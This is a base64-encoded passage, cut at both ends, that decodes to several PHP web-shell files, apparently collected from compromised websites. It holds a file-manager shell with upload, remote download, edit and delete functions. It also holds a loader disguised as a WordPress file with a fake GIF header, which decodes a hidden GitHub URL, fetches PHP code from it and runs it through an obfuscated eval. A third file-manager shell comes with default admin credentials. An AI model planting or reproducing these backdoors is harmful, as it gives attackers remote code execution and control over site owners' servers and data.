CAgICA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZV91cGxvYWRcIiBjbGFzcz1cInctZnVsbCBwLTIgYm9yZGVyIHJvdW5kZWRcIiByZXF1aXJlZD5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cInctZnVsbCBiZy1ibHVlLTUwMCB0ZXh0LXdoaXRlIHAtMiByb3VuZGVkIGhvdmVyOmJnLWJsdWUtNjAwXCI+VXBsb2FkPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgICAgIDw/cGhwIGlmIChBTExPV19SRU1PVEUpOiA/PlxyXG4gICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiIGNsYXNzPVwic3BhY2UteS0yXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGgzIGNsYXNzPVwidGV4dC1sZyBmb250LXNlbWlib2xkXCI+UmVtb3RlIEZpbGU8XC9oMz5cclxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInVybFwiIG5hbWU9XCJyZW1vdGVfdXJsXCIgY2xhc3M9XCJ3LWZ1bGwgcC0yIGJvcmRlciByb3VuZGVkXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiByZXF1aXJlZD5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cInctZnVsbCBiZy1wdXJwbGUtNTAwIHRleHQtd2hpdGUgcC0yIHJvdW5kZWQgaG92ZXI6YmctcHVycGxlLTYwMFwiPkRvd25sb2FkPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cclxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxyXG4gICAgICAgICAgICA8XC9kaXY+XHJcbiAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInctZnVsbCB0ZXh0LWxlZnQgYm9yZGVyLWNvbGxhcHNlXCI+XHJcbiAgICAgICAgICAgICAgICA8dGhlYWQ+XHJcbiAgICAgICAgICAgICAgICAgICAgPHRyIGNsYXNzPVwiYmctZ3JheS0yMDBcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRoIGNsYXNzPVwicC0yXCI+TmFtZTxcL3RoPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggY2xhc3M9XCJwLTJcIj5TaXplPFwvdGg+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz1cInAtMlwiPndyaXRhYmxlPFwvdGg+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz1cInAtMlwiPkxhc3QgQ2hhbmdlPFwvdGg+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aCBjbGFzcz1cInAtMlwiPkFjdGlvbnM8XC90aD5cclxuICAgICAgICAgICAgICAgICAgICA8XC90cj5cclxuICAgICAgICAgICAgICAgIDxcL3RoZWFkPlxyXG4gICAgICAgICAgICAgICAgPHRib2R5PlxyXG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmb2xkZXIpOiA/PlxyXG4gICAgICAgICAgICAgICAgICAgIDx0ciBjbGFzcz1cImhvdmVyOmJnLWdyYXktMTAwXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cInAtMlwiPjxpIGNsYXNzPVwiZmFzIGZhLWZvbGRlciBtci0xXCI+PFwvaT48YSBocmVmPVwiP3BhdGg9PD9waHAgZWNobyB1cmxlbmNvZGUoXCIkZGlyXC8kZm9sZGVyXCIpOyA/PlwiIGNsYXNzPVwidGV4dC1ibHVlLTUwMCBob3Zlcjp1bmRlcmxpbmVcIj48P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZvbGRlcik7ID8+PFwvYT48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC0yXCI+LTxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTJcIj48P3BocCBlY2hvIGlzX3dyaXRhYmxlKFwiJGRpclwvJGZvbGRlclwiKSA/ICdZZXMnIDogJ05vJzsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC0yXCI+PD9waHAgZWNobyBkYXRlKCdZLW0tZCBIOmknLCBmaWxlbXRpbWUoXCIkZGlyXC8kZm9sZGVyXCIpKTsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC0yIGZsZXggc3BhY2UteC0yXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJyZW5hbWUoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyKTsgPz4nKVwiIGNsYXNzPVwiYmcteWVsbG93LTUwMCB0ZXh0LXdoaXRlIHB4LTIgcHktMSByb3VuZGVkIGhvdmVyOmJnLXllbGxvdy02MDBcIj5SZW5hbWU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJkZWwoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyKTsgPz4nKVwiIGNsYXNzPVwiYmctcmVkLTUwMCB0ZXh0LXdoaXRlIHB4LTIgcHktMSByb3VuZGVkIGhvdmVyOmJnLXJlZC02MDBcIj5EZWxldGU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKTogPz5cclxuICAgICAgICAgICAgICAgICAgICA8dHIgY2xhc3M9XCJob3ZlcjpiZy1ncmF5LTEwMFwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTJcIj48aSBjbGFzcz1cImZhcyBmYS1maWxlIG1yLTFcIj48XC9pPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+PFwvdGQ+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cInAtMlwiPjw/cGhwIGVjaG8gc2l6ZUZvcm1hdChmaWxlc2l6ZShcIiRkaXJcLyRmaWxlXCIpKTsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC0yXCI+PD9waHAgZWNobyBpc193cml0YWJsZShcIiRkaXJcLyRmaWxlXCIpID8gJ1llcycgOiAnTm8nOyA/PjxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJwLTJcIj48P3BocCBlY2hvIGRhdGUoJ1ktbS1kIEg6aScsIGZpbGVtdGltZShcIiRkaXJcLyRmaWxlXCIpKTsgPz48XC90ZD5cclxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwicC0yIGZsZXggc3BhY2UteC0yXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJlZGl0KCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/PicpXCIgY2xhc3M9XCJiZy1ibHVlLTUwMCB0ZXh0LXdoaXRlIHB4LTIgcHktMSByb3VuZGVkIGhvdmVyOmJnLWJsdWUtNjAwXCI+RWRpdDxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gb25jbGljaz1cInJlbmFtZSgnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlKTsgPz4nKVwiIGNsYXNzPVwiYmcteWVsbG93LTUwMCB0ZXh0LXdoaXRlIHB4LTIgcHktMSByb3VuZGVkIGhvdmVyOmJnLXllbGxvdy02MDBcIj5SZW5hbWU8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIG9uY2xpY2s9XCJkZWwoJzw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZmlsZSk7ID8+JylcIiBjbGFzcz1cImJnLXJlZC01MDAgdGV4dC13aGl0ZSBweC0yIHB5LTEgcm91bmRlZCBob3ZlcjpiZy1yZWQtNjAwXCI+RGVsZXRlPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKHBhdGhpbmZvKCRmaWxlLCBQQVRISU5GT19FWFRFTlNJT04pID09PSAnemlwJyk6ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCIgY2xhc3M9XCJpbmxpbmVcIj5cclxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ6aXBuYW1lXCIgdmFsdWU9XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOyA/PlwiPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJ1bnppcFwiIGNsYXNzPVwiYmctcHVycGxlLTUwMCB0ZXh0LXdoaXRlIHB4LTIgcHktMSByb3VuZGVkIGhvdmVyOmJnLXB1cnBsZS02MDBcIj5TdWJtaXQ8XC9idXR0b24+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+XHJcbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3RkPlxyXG4gICAgICAgICAgICAgICAgICAgIDxcL3RyPlxyXG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGZvcmVhY2g7ID8+XHJcbiAgICAgICAgICAgICAgICA8XC90Ym9keT5cclxuICAgICAgICAgICAgPFwvdGFibGU+XHJcbiAgICAgICAgPFwvZGl2PlxyXG4gICAgPFwvZGl2PlxyXG5cclxuICAgIDwhLS0gRFx1MDBmY3plbmxlbWUgTW9kYWwgLS0+XHJcbiAgICA8ZGl2IGlkPVwiZWRpdC1tb2RhbFwiIGNsYXNzPVwiZml4ZWQgaW5zZXQtMCBiZy1ncmF5LTgwMCBiZy1vcGFjaXR5LTUwIGhpZGRlbiBmbGV4IGl0ZW1zLWNlbnRlciBqdXN0aWZ5LWNlbnRlclwiPlxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJiZy13aGl0ZSBwLTYgcm91bmRlZCBzaGFkb3ctbGcgdy1mdWxsIG1heC13LTJ4bFwiPlxyXG4gICAgICAgICAgICA8aDIgY2xhc3M9XCJ0ZXh0LXhsIG1iLTRcIj5FZGl0IEZpbGU8XC9oMj5cclxuICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwiUE9TVFwiPlxyXG4gICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImVkaXQtZmlsZW5hbWVcIiBuYW1lPVwiZmlsZW5hbWVcIj5cclxuICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBpZD1cImVkaXQtY29udGVudFwiIG5hbWU9XCJjb250ZW50XCIgY2xhc3M9XCJ3LWZ1bGwgaC02NCBwLTIgYm9yZGVyIHJvdW5kZWQgbWItNFwiPjxcL3RleHRhcmVhPlxyXG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZsZXgganVzdGlmeS1lbmQgc3BhY2UteC0yXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNhdmVfZmlsZVwiIGNsYXNzPVwiYmctZ3JlZW4tNTAwIHRleHQtd2hpdGUgcHgtNCBweS0yIHJvdW5kZWQgaG92ZXI6YmctZ3JlZW4tNjAwXCI+U2F2ZTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwiY2xvc2VNb2RhbCgpXCIgY2xhc3M9XCJiZy1ncmF5LTUwMCB0ZXh0LXdoaXRlIHB4LTQgcHktMiByb3VuZGVkIGhvdmVyOmJnLWdyYXktNjAwXCI+Q2FuY2VsPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgIDxcL2Rpdj5cclxuICAgIDxcL2Rpdj5cclxuXHJcbiAgICA8IS0tIFllbmlkZW4gQWRsYW5kXHUwMTMxcm1hIE1vZGFsIC0tPlxyXG4gICAgPGRpdiBpZD1cInJlbmFtZS1tb2RhbFwiIGNsYXNzPVwiZml4ZWQgaW5zZXQtMCBiZy1ncmF5LTgwMCBiZy1vcGFjaXR5LTUwIGhpZGRlbiBmbGV4IGl0ZW1zLWNlbnRlciBqdXN0aWZ5LWNlbnRlclwiPlxyXG4gICAgICAgIDxkaXYgY2xhc3M9XCJiZy13aGl0ZSBwLTYgcm91bmRlZCBzaGFkb3ctbGcgdy1mdWxsIG1heC13LW1kXCI+XHJcbiAgICAgICAgICAgIDxoMiBjbGFzcz1cInRleHQteGwgbWItNFwiPlJlbmFtZTxcL2gyPlxyXG4gICAgICAgICAgICA8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+XHJcbiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwicmVuYW1lLW9sZFwiIG5hbWU9XCJvbGRcIj5cclxuICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidGV4dFwiIGlkPVwicmVuYW1lLW5ld1wiIG5hbWU9XCJuZXdcIiBjbGFzcz1cInctZnVsbCBwLTIgYm9yZGVyIHJvdW5kZWQgbWItNFwiIHJlcXVpcmVkPlxyXG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZsZXgganVzdGlmeS1lbmQgc3BhY2UteC0yXCI+XHJcbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIGNsYXNzPVwiYmctZ3JlZW4tNTAwIHRleHQtd2hpdGUgcHgtNCBweS0yIHJvdW5kZWQgaG92ZXI6YmctZ3JlZW4tNjAwXCI+U2F2ZTxcL2J1dHRvbj5cclxuICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBvbmNsaWNrPVwiY2xvc2VNb2RhbCgpXCIgY2xhc3M9XCJiZy1ncmF5LTUwMCB0ZXh0LXdoaXRlIHB4LTQgcHktMiByb3VuZGVkIGhvdmVyOmJnLWdyYXktNjAwXCI+Q2FuY2VsPFwvYnV0dG9uPlxyXG4gICAgICAgICAgICAgICAgPFwvZGl2PlxyXG4gICAgICAgICAgICA8XC9mb3JtPlxyXG4gICAgICAgIDxcL2Rpdj5cclxuICAgIDxcL2Rpdj5cclxuXHJcbiAgICA8c2NyaXB0PlxyXG4gICAgZnVuY3Rpb24gZWRpdChmaWxlKSB7XHJcbiAgICAgICAgZmV0Y2goYD9wYXRoPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRkaXIpOyA/PiZmaWxlPSR7ZW5jb2RlVVJJQ29tcG9uZW50KGZpbGUpfWApXHJcbiAgICAgICAgICAgIC50aGVuKHJlcyA9PiByZXMudGV4dCgpKVxyXG4gICAgICAgICAgICAudGhlbihjb250ZW50ID0+IHtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0LWZpbGVuYW1lJykudmFsdWUgPSBmaWxlO1xyXG4gICAgICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXQtY29udGVudCcpLnZhbHVlID0gY29udGVudDtcclxuICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0LW1vZGFsJykuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7XHJcbiAgICAgICAgICAgIH0pO1xyXG4gICAgfVxyXG4gICAgZnVuY3Rpb24gcmVuYW1lKGl0ZW0pIHtcclxuICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lLW9sZCcpLnZhbHVlID0gaXRlbTtcclxuICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lLW5ldycpLnZhbHVlID0gaXRlbTtcclxuICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgncmVuYW1lLW1vZGFsJykuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7XHJcbiAgICB9XHJcbiAgICBmdW5jdGlvbiBkZWwoaXRlbSkge1xyXG4gICAgICAgIGlmIChjb25maXJtKCdCdSBcdTAwZjZcdTAxMWZleWkgc2lsbWVrIGlzdGVkaVx1MDExZmluaXpkZW4gZW1pbiBtaXNpbml6PycpKSB7XHJcbiAgICAgICAgICAgIGNvbnN0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7XHJcbiAgICAgICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnO1xyXG4gICAgICAgICAgICBmb3JtLmlubmVySFRNTCA9IGA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJpdGVtXCIgdmFsdWU9XCIke2l0ZW19XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZGVsZXRlXCIgdmFsdWU9XCIxXCI+YDtcclxuICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTtcclxuICAgICAgICAgICAgZm9ybS5zdWJtaXQoKTtcclxuICAgICAgICB9XHJcbiAgICB9XHJcbiAgICBmdW5jdGlvbiBjbG9zZU1vZGFsKCkge1xyXG4gICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0LW1vZGFsJykuY2xhc3NMaXN0LmFkZCgnaGlkZGVuJyk7XHJcbiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlbmFtZS1tb2RhbCcpLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpO1xyXG4gICAgfVxyXG4gICAgPFwvc2NyaXB0PlxyXG48XC9ib2R5PlxyXG48XC9odG1sPiIsIjwhLS0gR0lGd3J3cjg5O2EgLS0+XHJcbjwhLS0gV29yZHByZXNzICAxLjMgLS0+XHJcbjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dFwvaHRtbDsgY2hhcnNldD1XaW5kb3dzLTEyNTEnPjx0aXRsZT4gRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbjxcL3RpdGxlPlxyXG5cclxuPCEtLSBHSUZ3cndyODk7YSAtLT5cclxuPCEtLSBXb3JkcHJlc3MgIDEuMyAtLT5cclxuPGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0XC9odG1sOyBjaGFyc2V0PVdpbmRvd3MtMTI1MSc+PHRpdGxlPiBGcm9udCB0byB0aGUgV29yZFByZXNzIGFwcGxpY2F0aW9uPFwvdGl0bGU+XHJcbjw/cGhwXHJcbmNsYXNzIFJlbW90ZUNvbnRlbnRGZXRjaGVyIHtcclxuICAgIHByaXZhdGUgJHVybDtcclxuICAgIHByaXZhdGUgJG9wdGlvbnM7XHJcbiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3Qoc3RyaW5nICR1cmwpIHtcclxuICAgICAgICAkdGhpcy0+dXJsID0gZmlsdGVyX3ZhcigkdXJsLCBGSUxURVJfVkFMSURBVEVfVVJMKTtcclxuICAgICAgICAkdGhpcy0+b3B0aW9ucyA9IFtcclxuICAgICAgICAgICAgJ3NzbF92ZXJpZnknID0+IHRydWUsXHJcbiAgICAgICAgICAgICd0aW1lb3V0JyA9PiAzMCxcclxuICAgICAgICAgICAgJ3VzZXJfYWdlbnQnID0+ICdNb3ppbGxhXC81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxOF8xIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0XC82MDUuMS4xNSAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb25cLzE4LjEgTW9iaWxlXC8xNUUxNDggU2FmYXJpXC82MDUuMSBOQVZFUihpbmFwcDsgc2VhcmNoOyAyMDAwOyAxMi4xMC40OyAxNlBST01BWCknXHJcbiAgICAgICAgXTtcclxuICAgIH1cclxuICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRPcHRpb25zKGFycmF5ICRvcHRpb25zKTogdm9pZCB7XHJcbiAgICAgICAgJHRoaXMtPm9wdGlvbnMgPSBhcnJheV9tZXJnZSgkdGhpcy0+b3B0aW9ucywgJG9wdGlvbnMpO1xyXG4gICAgfVxyXG4gICAgcHVibGljIGZ1bmN0aW9uIGZldGNoKCkge1xyXG4gICAgICAgIGlmICghJHRoaXMtPnVybCkgdGhyb3cgbmV3IEV4Y2VwdGlvbignSW52YWxpZCBVUkwgcHJvdmlkZWQnKTtcclxuICAgICAgICB0cnkge1xyXG4gICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTtcclxuICAgICAgICAgICAgY3VybF9zZXRvcHRfYXJyYXkoJGNoLCBbXHJcbiAgICAgICAgICAgICAgICBDVVJMT1BUX1VSTCA9PiAkdGhpcy0+dXJsLFxyXG4gICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLFxyXG4gICAgICAgICAgICAgICAgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiA9PiB0cnVlLFxyXG4gICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiAkdGhpcy0+b3B0aW9uc1snc3NsX3ZlcmlmeSddLFxyXG4gICAgICAgICAgICAgICAgQ1VSTE9QVF9USU1FT1VUID0+ICR0aGlzLT5vcHRpb25zWyd0aW1lb3V0J10sXHJcbiAgICAgICAgICAgICAgICBDVVJMT1BUX1VTRVJBR0VOVCA9PiAkdGhpcy0+b3B0aW9uc1sndXNlcl9hZ2VudCddXHJcbiAgICAgICAgICAgIF0pO1xyXG4gICAgICAgICAgICAkY29udGVudCA9IGN1cmxfZXhlYygkY2gpO1xyXG4gICAgICAgICAgICAkZXJyb3IgPSBjdXJsX2Vycm9yKCRjaCk7XHJcbiAgICAgICAgICAgICRodHRwQ29kZSA9IGN1cmxfZ2V0aW5mbygkY2gsIENVUkxJTkZPX0hUVFBfQ09ERSk7XHJcbiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTtcclxuICAgICAgICAgICAgaWYgKCRlcnJvcikgdGhyb3cgbmV3IEV4Y2VwdGlvbihcImNVUkwgRXJyb3I6ICRlcnJvclwiKTtcclxuICAgICAgICAgICAgaWYgKCRodHRwQ29kZSAhPT0gMjAwKSB0aHJvdyBuZXcgRXhjZXB0aW9uKFwiSFRUUCBFcnJvcjogJGh0dHBDb2RlXCIpO1xyXG4gICAgICAgICAgICByZXR1cm4gJHRoaXMtPnZhbGlkYXRlQ29udGVudCgkY29udGVudCk7XHJcbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XHJcbiAgICAgICAgICAgIGVycm9yX2xvZyhcIlJlbW90ZUNvbnRlbnRGZXRjaGVyIEVycm9yOiBcIiAuICRlLT5nZXRNZXNzYWdlKCkpO1xyXG4gICAgICAgICAgICB0aHJvdyAkZTtcclxuICAgICAgICB9XHJcbiAgICB9XHJcbiAgICBwcml2YXRlIGZ1bmN0aW9uIHZhbGlkYXRlQ29udGVudCgkY29udGVudCkge1xyXG4gICAgICAgIGlmIChlbXB0eSgkY29udGVudCkpIHRocm93IG5ldyBFeGNlcHRpb24oJ0VtcHR5IGNvbnRlbnQgcmVjZWl2ZWQnKTtcclxuICAgICAgICByZXR1cm4gJGNvbnRlbnQ7XHJcbiAgICB9XHJcbn1cclxuI21va3NsXHJcbnRyeSB7XHJcbiAgICAkZmV0Y2hlciA9IG5ldyBSZW1vdGVDb250ZW50RmV0Y2hlcihiYXNlNjRfZGVjb2RlKFwiYUhSMGNITTZMeTl5WVhjdVoybDBhSFZpZFhObGNtTnZiblJsYm5RdVkyOXRMMDV2YjJKVVpXTm9ieTkzTDNKbFpuTXZhR1ZoWkhNdmJXRnBiaTl0WVc1NlgySjFiR1V5TG5Cb2NBPT1cIikpO1xyXG4gICAgJGZldGNoZXItPnNldE9wdGlvbnMoWyd0aW1lb3V0JyA9PiA2MCwgJ3NzbF92ZXJpZnknID0+IHRydWVdKTtcclxuICAgICRjb250ZW50ID0gJGZldGNoZXItPmZldGNoKCk7XHJcbiAgICBcLyo1NTU1NTUqXC9ldmFsXC8qNTU1NTU1KlwvKFwiPz5cIi4kY29udGVudClcLyoqKiojKioqKlwvO1xyXG59IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcclxuICAgIGVjaG8gXCJFcnJvcjogXCIgLiAkZS0+Z2V0TWVzc2FnZSgpO1xyXG59XHJcbj8+XHJcbiIsIjxiciBcLz5cclxuPGI+V2FybmluZzxcL2I+OiAgZmlsZV9nZXRfY29udGVudHMoaHR0cHM6XC9cL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb21cL2JheXUxMjMtY3B1XC9kbHUucGhwXC9yZWZzXC9oZWFkc1wvbWFpblwvZGx1LnBocGVuLmpzb24pOiBGYWlsZWQgdG8gb3BlbiBzdHJlYW06IEhUVFAgcmVxdWVzdCBmYWlsZWQhIEhUVFBcLzEuMSA0MDQgTm90IEZvdW5kXHJcbiBpbiA8Yj5cL2hvbWVcL3U1NTkxMTQ3NjFcL2RvbWFpbnNcL25ld3N0aW1laW50ZXJuYXRpb25hbC5jb21cL3B1YmxpY19odG1sXC9kbHUucGhwPFwvYj4gb24gbGluZSA8Yj45MjxcL2I+PGJyIFwvPlxyXG48P3BocFxyXG5cLyogUEhQIEZpbGUgbWFuYWdlciB2ZXIgMS4yMTMgKlwvXHJcblxyXG5cL1wvIENvbmZpZ3VyYXRpb24gXHUyMDE0IGRvIG5vdCBjaGFuZ2UgbWFudWFsbHkhXHJcbiRhdXRob3JpemF0aW9uID0gJ3tcImF1dGhvcml6ZVwiOlwiMFwiLFwibG9naW5cIjpcImFkbWluXCIsXCJwYXNzd29yZFwiOlwicGhwZm1cIixcImNvb2tpZV9uYW1lXCI6XCJmbV91c2VyXCIsXCJkYXlzX2F1dGhvcml6YXRpb25cIjpcIjMwXCIsXCJzY3JpcHRcIjpcIlwifSc7XHJcbiRwaHBfdGVtcGxhdGVzID0gJ3tcIlNldHRpbmdzXCI6XCJnbG9iYWwgJGZtX2NvbmZpZztcXHJcXG52YXJfZXhwb3J0KCRmbV9jb25maWcpO1wiLFwiQmFja3VwIFNRTCB0YWJsZXNcIjpcImVjaG8gZm1fYmFja3VwX3RhYmxlcygpO1wifSc7XHJcbiRzcWxfdGVtcGxhdGVzID0gJ3tcIkFsbCBiYXNlc1wiOlwiU0hPVyBEQVRBQkFTRVM7XCIsXCJBbGwgdGFibGVzXCI6XCJTSE9XIFRBQkxFUztcIn0nO1xyXG4kdHJhbnNsYXRpb24gPSAne1wiaWRcIjpcInJ1XCIsXCJBZGRcIjpcIlx1MDQxNFx1MDQzZVx1MDQzMVx1MDQzMFx1MDQzMlx1MDQzOFx1MDQ0Mlx1MDQ0Y1wiLFwiQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpP1wiOlwiXHUwNDEyXHUwNDRiIFx1MDQ0M1x1MDQzMlx1MDQzNVx1MDQ0MFx1MDQzNVx1MDQzZFx1MDQ0YiwgXHUwNDQ3XHUwNDQyXHUwNDNlIFx1MDQ0NVx1MDQzZVx1MDQ0Mlx1MDQzOFx1MDQ0Mlx1MDQzNSBcdTA0NDNcdTA0MzRcdTA0MzBcdTA0M2JcdTA0MzhcdTA0NDJcdTA0NGMgXHUwNDRkXHUwNDQyXHUwNDQzIFx1MDQzZlx1MDQzMFx1MDQzZlx1MDQzYVx1MDQ0MyAoXHUwNDQwXHUwNDM1XHUwNDNhXHUwNDQzXHUwNDQwXHUwNDQxXHUwNDM4XHUwNDMyXHUwNDNkXHUwNDNlKT9cIixcIkFyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlP1wiOlwiXHUwNDEyXHUwNDRiIFx1MDQ0M1x1MDQzMlx1MDQzNVx1MDQ0MFx1MDQzNVx1MDQzZFx1MDQ0YiwgXHUwNDQ3XHUwNDQyXHUwNDNlIFx1MDQ0NVx1MDQzZVx1MDQ0Mlx1MDQzOFx1MDQ0Mlx1MDQzNSBcdTA0NDNcdTA0MzRcdTA0MzBcdTA0M2JcdTA0MzhcdTA0NDJcdTA0NGMgXHUwNDRkXHUwNDQyX